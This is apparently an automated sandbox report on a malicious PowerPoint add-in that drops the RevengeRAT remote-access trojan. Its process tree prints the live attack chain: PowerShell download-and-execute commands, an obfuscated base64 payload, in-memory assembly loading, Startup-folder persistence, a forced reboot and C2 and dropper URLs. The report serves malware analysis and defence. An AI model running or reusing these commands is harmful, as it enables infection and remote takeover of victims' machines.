Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
06/06/2024, 14:57
General
- Target Reserva Detalhes.ppam
- Size 12KB
- Sample240606-sblc2sgf79
- SHA256 68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://pastebin.com/raw/gk5zDwdG
-
exe.dropper
https://drive.google.com/uc?export=download&id=
Extracted
-
revengerat
-
NyanCatRevenge
-
marcelotatuape.ddns.net:333
-
1702a2bb715848
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Drops file in System32 directory 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 27 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Reserva Detalhes.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/fKOyTmUn/QXVgotKU.b12ff87cbf801677a1a4bd76e1e88980 -o test.js; explorer.exe test.js2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" test.js3⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $teste_mAMGD = 'J❧BW❧GU❧cgBw❧G8❧dwBl❧HI❧I❧❧9❧C❧❧J❧Bo❧G8❧cwB0❧C4❧VgBl❧HI❧cwBp❧G8❧bg❧u❧E0❧YQBq❧G8❧cg❧u❧EU❧cQB1❧GE❧b❧Bz❧Cg❧Mg❧p❧Ds❧SQBm❧C❧❧K❧❧k❧FY❧ZQBy❧H❧❧bwB3❧GU❧cg❧p❧C❧❧ew❧k❧H❧❧YQBz❧HQ❧YQ❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧SQBP❧C4❧U❧Bh❧HQ❧a❧Bd❧Do❧OgBH❧GU❧d❧BU❧GU❧bQBw❧F❧❧YQB0❧Gg❧K❧❧p❧Ds❧Z❧Bl❧Gw❧I❧❧o❧CQ❧c❧Bh❧HM❧d❧Bh❧C❧❧Kw❧g❧Cc❧X❧BV❧H❧❧dwBp❧G4❧LgBt❧HM❧dQ❧n❧Ck❧Ow❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBk❧HI❧aQB2❧GU❧LgBn❧G8❧bwBn❧Gw❧ZQ❧u❧GM❧bwBt❧C8❧dQBj❧D8❧ZQB4❧H❧❧bwBy❧HQ❧PQBk❧G8❧dwBu❧Gw❧bwBh❧GQ❧JgBp❧GQ❧PQ❧n❧Ds❧J❧BX❧Gk❧bgBW❧GU❧cg❧g❧D0❧I❧❧k❧GU❧bgB2❧Do❧U❧BS❧E8❧QwBF❧FM❧UwBP❧FI❧XwBB❧FI❧QwBI❧Ek❧V❧BF❧EM❧V❧BV❧FI❧RQ❧u❧EM❧bwBu❧HQ❧YQBp❧G4❧cw❧o❧Cc❧Ng❧0❧Cc❧KQ❧7❧Gk❧Zg❧g❧Cg❧J❧BX❧Gk❧bgBW❧GU❧cg❧p❧C❧❧ew❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧o❧CQ❧VQBS❧Ew❧SwBC❧C❧❧Kw❧g❧Cc❧Vw❧x❧DE❧MgBB❧GQ❧U❧Bm❧Ek❧M❧BQ❧EM❧NwBo❧GI❧cwBj❧Gk❧Xw❧1❧F8❧M❧Bf❧GU❧VQ❧3❧E4❧dwBN❧Fo❧a❧Bm❧DQ❧e❧❧n❧Ck❧I❧❧7❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧J❧BV❧FI❧T❧BL❧EI❧I❧❧9❧C❧❧K❧❧k❧FU❧UgBM❧Es❧Qg❧g❧Cs❧I❧❧n❧DE❧YgBy❧Go❧NQBq❧HE❧bgBx❧FI❧e❧BD❧EQ❧NgBW❧Gg❧ZgBo❧EE❧bg❧y❧HI❧YwBW❧GY❧cwBS❧G8❧NwBE❧Dg❧ZwBy❧Cc❧KQ❧g❧Ds❧fQ❧7❧CQ❧d❧BQ❧FY❧RgBz❧C❧❧PQ❧g❧Cg❧TgBl❧Hc❧LQBP❧GI❧agBl❧GM❧d❧❧g❧E4❧ZQB0❧C4❧VwBl❧GI❧QwBs❧Gk❧ZQBu❧HQ❧KQ❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧RgBp❧Gw❧ZQ❧o❧CQ❧VQBS❧Ew❧SwBC❧Cw❧I❧❧k❧H❧❧YQBz❧HQ❧YQ❧g❧Cs❧I❧❧n❧Fw❧VQBw❧Hc❧aQBu❧C4❧bQBz❧HU❧Jw❧p❧C❧❧Ow❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧D0❧I❧❧o❧Cc❧Qw❧6❧Fw❧VQBz❧GU❧cgBz❧Fw❧Jw❧g❧Cs❧I❧Bb❧EU❧bgB2❧Gk❧cgBv❧G4❧bQBl❧G4❧d❧Bd❧Do❧OgBV❧HM❧ZQBy❧E4❧YQBt❧GU❧I❧❧p❧Ds❧J❧Bm❧Gk❧b❧Bl❧C❧❧PQ❧g❧Cg❧J❧Bw❧GE❧cwB0❧GE❧I❧❧r❧C❧❧JwBc❧FU❧c❧B3❧Gk❧bg❧u❧G0❧cwB1❧Cc❧KQ❧7❧C❧❧c❧Bv❧Hc❧ZQBy❧HM❧a❧Bl❧Gw❧b❧❧u❧GU❧e❧Bl❧C❧❧dwB1❧HM❧YQ❧u❧GU❧e❧Bl❧C❧❧J❧Bm❧Gk❧b❧Bl❧C❧❧LwBx❧HU❧aQBl❧HQ❧I❧❧v❧G4❧bwBy❧GU❧cwB0❧GE❧cgB0❧C❧❧Ow❧g❧EM❧bwBw❧Hk❧LQBJ❧HQ❧ZQBt❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧I❧❧t❧EQ❧ZQBz❧HQ❧aQBu❧GE❧d❧Bp❧G8❧bg❧g❧Cg❧I❧❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧Cs❧I❧❧n❧Fw❧QQBw❧H❧❧R❧Bh❧HQ❧YQBc❧FI❧bwBh❧G0❧aQBu❧Gc❧X❧BN❧Gk❧YwBy❧G8❧cwBv❧GY❧d❧Bc❧Fc❧aQBu❧GQ❧bwB3❧HM❧X❧BT❧HQ❧YQBy❧HQ❧I❧BN❧GU❧bgB1❧Fw❧U❧By❧G8❧ZwBy❧GE❧bQBz❧Fw❧UwB0❧GE❧cgB0❧HU❧c❧❧n❧C❧❧KQ❧g❧C0❧ZgBv❧HI❧YwBl❧C❧❧OwBw❧G8❧dwBl❧HI❧cwBo❧GU❧b❧Bs❧C4❧ZQB4❧GU❧I❧❧t❧GM❧bwBt❧G0❧YQBu❧GQ❧I❧❧n❧HM❧b❧Bl❧GU❧c❧❧g❧DE❧O❧❧w❧Cc❧Ow❧g❧HM❧a❧B1❧HQ❧Z❧Bv❧Hc❧bg❧u❧GU❧e❧Bl❧C❧❧LwBy❧C❧❧LwB0❧C❧❧M❧❧g❧C8❧Zg❧g❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧E4❧ZQB0❧C4❧UwBl❧HI❧dgBp❧GM❧ZQBQ❧G8❧aQBu❧HQ❧TQBh❧G4❧YQBn❧GU❧cgBd❧Do❧OgBT❧GU❧cgB2❧GU❧cgBD❧GU❧cgB0❧Gk❧ZgBp❧GM❧YQB0❧GU❧VgBh❧Gw❧aQBk❧GE❧d❧Bp❧G8❧bgBD❧GE❧b❧Bs❧GI❧YQBj❧Gs❧I❧❧9❧C❧❧ew❧k❧HQ❧cgB1❧GU❧fQ❧7❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBO❧GU❧d❧❧u❧FM❧ZQBy❧HY❧aQBj❧GU❧U❧Bv❧Gk❧bgB0❧E0❧YQBu❧GE❧ZwBl❧HI❧XQ❧6❧Do❧UwBl❧GM❧dQBy❧Gk❧d❧B5❧F❧❧cgBv❧HQ❧bwBj❧G8❧b❧❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧TgBl❧HQ❧LgBT❧GU❧YwB1❧HI❧aQB0❧Hk❧U❧By❧G8❧d❧Bv❧GM❧bwBs❧FQ❧eQBw❧GU❧XQ❧6❧Do❧V❧Bs❧HM❧MQ❧y❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧K❧BO❧GU❧dw❧t❧E8❧YgBq❧GU❧YwB0❧C❧❧TgBl❧HQ❧LgBX❧GU❧YgBD❧Gw❧aQBl❧G4❧d❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧7❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧PQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧R❧Bv❧Hc❧bgBs❧G8❧YQBk❧FM❧d❧By❧Gk❧bgBn❧Cg❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBw❧GE❧cwB0❧GU❧YgBp❧G4❧LgBj❧G8❧bQ❧v❧HI❧YQB3❧C8❧ZwBr❧DU❧egBE❧Hc❧Z❧BH❧Cc❧I❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧KQ❧7❧Fs❧QgB5❧HQ❧ZQBb❧F0❧XQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧PQ❧g❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBD❧G8❧bgB2❧GU❧cgB0❧F0❧Og❧6❧EY❧cgBv❧G0❧QgBh❧HM❧ZQ❧2❧DQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧UgBl❧H❧❧b❧Bh❧GM❧ZQ❧o❧C❧❧JwCTITo❧kyEn❧C❧❧L❧❧g❧Cc❧QQ❧n❧C❧❧KQ❧g❧Ck❧OwBb❧FM❧eQBz❧HQ❧ZQBt❧C4❧QQBw❧H❧❧R❧Bv❧G0❧YQBp❧G4❧XQ❧6❧Do❧QwB1❧HI❧cgBl❧G4❧d❧BE❧G8❧bQBh❧Gk❧bg❧u❧Ew❧bwBh❧GQ❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧KQ❧u❧Ec❧ZQB0❧FQ❧eQBw❧GU❧K❧❧g❧Cc❧QwBs❧GE❧cwBz❧Ew❧aQBi❧HI❧YQBy❧Hk❧Mw❧u❧EM❧b❧Bh❧HM❧cw❧x❧Cc❧I❧❧p❧C4❧RwBl❧HQ❧TQBl❧HQ❧a❧Bv❧GQ❧K❧❧g❧Cc❧c❧By❧EY❧VgBJ❧Cc❧I❧❧p❧C4❧SQBu❧HY❧bwBr❧GU❧K❧❧k❧G4❧dQBs❧Gw❧L❧❧g❧Fs❧bwBi❧Go❧ZQBj❧HQ❧WwBd❧F0❧I❧❧o❧C❧❧Jw❧5❧D❧❧Yg❧w❧DY❧M❧❧4❧DQ❧Yw❧w❧Dc❧Mw❧2❧Dc❧OQ❧5❧GY❧NQBk❧Dc❧O❧❧y❧GY❧O❧❧1❧GE❧MwBj❧D❧❧YQ❧w❧DU❧PQB2❧CY❧Z❧Bh❧G8❧b❧Bu❧Hc❧bwBk❧D0❧ZQBj❧HI❧dQBv❧HM❧JgB0❧Hg❧d❧❧u❧DQ❧Mg❧w❧DI❧Lg❧2❧D❧❧Lg❧0❧D❧❧Nw❧y❧CU❧Nw❧y❧CU❧O❧❧t❧EY❧V❧BV❧EQ❧Mw❧l❧EE❧Mg❧l❧GU❧bQBh❧G4❧ZQBs❧Gk❧Zg❧r❧EI❧Mw❧l❧DI❧Mg❧l❧HQ❧e❧B0❧C4❧N❧❧y❧D❧❧Mg❧u❧DY❧M❧❧u❧DQ❧M❧❧y❧DI❧JQBE❧DM❧JQBl❧G0❧YQBu❧GU❧b❧Bp❧GY❧KwBC❧DM❧JQB0❧G4❧ZQBt❧Gg❧YwBh❧HQ❧d❧Bh❧D0❧bgBv❧Gk❧d❧Bp❧HM❧bwBw❧HM❧aQBk❧C0❧d❧Bu❧GU❧d❧Bu❧G8❧Yw❧t❧GU❧cwBu❧G8❧c❧Bz❧GU❧cg❧/❧HQ❧e❧B0❧C4❧N❧❧z❧GU❧Mg❧x❧GU❧YwBj❧Dc❧OQ❧x❧DQ❧LQBm❧DE❧Nw❧4❧C0❧M❧❧w❧DY❧N❧❧t❧Dc❧N❧❧0❧GY❧LQ❧3❧GY❧N❧❧2❧GU❧YQBh❧Dc❧LwBK❧Dg❧W❧B5❧Es❧dQBE❧GU❧LwBz❧G0❧ZQB0❧Gk❧LwBt❧G8❧Yw❧u❧HQ❧a❧Bn❧Gk❧eg❧u❧G4❧Z❧Bj❧C4❧M❧Bu❧C4❧MQBy❧HQ❧Lg❧3❧H❧❧Lw❧v❧Do❧cwBw❧HQ❧d❧Bo❧Cc❧I❧❧s❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧L❧❧g❧Cc❧V❧By❧HU❧ZQ❧x❧Cc❧I❧❧p❧C❧❧KQ❧7❧H0❧Ow❧=';$teste_mAMGD = $teste_mAMGD.replace('❧','A');$teste_mAMGD = [System.Convert]::FromBase64String( $teste_mAMGD ) ;$teste_mAMGD = [System.Text.Encoding]::Unicode.GetString( $teste_mAMGD );$teste_mAMGD = $teste_mAMGD.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js');powershell $teste_mAMGD3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verpower = $host.Version.Major.Equals(2);If ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$URLKB = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($WinVer) {$URLKB = ($URLKB + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$URLKB = ($URLKB + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$tPVFs = (New-Object Net.WebClient) ;$tPVFs.Encoding = [System.Text.Encoding]::UTF8 ;$tPVFs.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$teste_gyswQ = (New-Object Net.WebClient);$teste_gyswQ.Encoding = [System.Text.Encoding]::UTF8;$teste_XYHIa = $teste_gyswQ.DownloadString( 'https://pastebin.com/raw/gk5zDwdG' );$teste_gyswQ = $teste_gyswQ.DownloadString( $teste_XYHIa );[Byte[]] $teste_UQPpZ = [System.Convert]::FromBase64String( $teste_gyswQ.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $teste_UQPpZ ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '90b06084c0736799f5d782f85a3c0a05=v&daolnwod=ecruos&txt.4202.60.4072%72%8-FTUD3%A2%emanelif+B3%22%txt.4202.60.4022%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.43e21ecc7914-f178-0064-744f-7f46eaa7/J8XyKuDe/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'True1' ) );};"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1"5⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\jiacj.ps1"5⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_dbp3byqq.vlq.ps1
test.js
jiacj.ps1
x2.ps1
memory/1132-80-0x000001FB819C0000-0x000001FB819CA000-memory.dmp
memory/1792-12-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-101-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-0-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-13-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-14-0x00007FF8FC420000-0x00007FF8FC430000-memory.dmp
memory/1792-11-0x00007FF8FC420000-0x00007FF8FC430000-memory.dmp
memory/1792-15-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-18-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-22-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-21-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-20-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-19-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-17-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-16-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-34-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-35-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-2-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-1-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-8-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-3-0x00007FF93ECCD000-0x00007FF93ECCE000-memory.dmp
memory/1792-9-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-6-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-7-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-5-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-4-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-10-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/1792-103-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-102-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-100-0x00007FF8FECB0000-0x00007FF8FECC0000-memory.dmp
memory/1792-104-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/4020-123-0x00000122250B0000-0x00000122250BA000-memory.dmp
memory/4356-124-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4356-126-0x0000000005CA0000-0x0000000006244000-memory.dmp
memory/4584-54-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp
memory/4584-43-0x000001D7ED870000-0x000001D7ED892000-memory.dmp
memory/4584-37-0x00007FF93EC30000-0x00007FF93EE25000-memory.dmp